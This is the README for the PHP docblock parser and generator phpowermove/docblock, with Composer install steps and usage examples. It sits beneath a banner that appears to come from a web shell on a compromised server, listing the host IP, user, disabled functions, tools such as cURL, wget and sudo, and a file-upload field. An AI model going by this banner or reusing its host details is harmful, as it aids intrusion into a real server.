| Server IP : 3.147.158.171 / Your IP : 216.73.216.88 Web Server : Apache/2.4.67 (Amazon Linux) OpenSSL/3.5.5 System : Linux ip-172-31-2-178.us-east-2.compute.internal 6.1.172-216.329.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 20 06:31:34 UTC 2026 x86_64 User : ec2-user ( 1000) PHP Version : 8.4.21 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /tsai/repo/store/vendor/phpowermove/docblock/ |
Upload File : |
# Docblock
[](https://packagist.org/packages/phpowermove/docblock)
[](https://packagist.org/packages/phpowermove/docblock)
[](https://packagist.org/packages/phpowermove/docblock)


[](https://scrutinizer-ci.com/g/phpowermove/docblock/?branch=master)
[](https://scrutinizer-ci.com/g/phpowermove/docblock/?branch=master)
PHP Docblock parser and generator. An API to read and write Docblocks.
> __WARNING__: starting from version 4.0 the library has moved to [phpowermove organization](https://github.com/phpowermove) and the namespace is `phpowermove\docblock`.
## Installation
Install via Composer:
```
composer require phpowermove/docblock
```
## Usage
### 1. Generate a Docblock instance
a) Simple:
```php
use phpowermove\docblock\Docblock;
$docblock = new Docblock();
```
b) Create from string:
```php
use phpowermove\docblock\Docblock;
$docblock = new Docblock('/**
* Short Description.
*
* Long Description.
*
* @author gossi
*/');
```
c) Create from reflection:
```php
use phpowermove\docblock\Docblock;
$docblock = new Docblock(new \ReflectionClass('MyClass'));
```
### 2. Manipulate tags
Get the tags:
```php
$tags = $docblock->getTags();
```
Get tags by name:
```php
$tags = $docblock->getTags('author');
```
Append a tag:
```php
use phpowermove\docblock\tags\AuthorTag;
$author = new AuthorTag();
$author->setName('gossi');
$docblock->appendTag($author);
```
or with fluent API:
```php
use phpowermove\docblock\tags\AuthorTag;
$docblock->appendTag(AuthorTag::create()
->setName('gossi')
);
```
Check tag existence:
```php
$docblock->hasTag('author');
```
### 3. Get back the string
Call `toString()`:
```php
$docblock->toString();
```
or if you are in a write-context, the magical `__toString()` will take care of it:
```php
echo $docblock;
```
## Documentation Api
See https://phpowermove.github.io/docblock
## Contributing
Feel free to fork and submit a pull request (don't forget the tests) and I am happy to merge.
## References
- This project uses the parsers from [phpDocumentor/ReflectionDocBlock](https://github.com/phpDocumentor/ReflectionDocBlock)
## Changelog
Refer to [Releases](https://github.com/phpowermove/docblock/releases)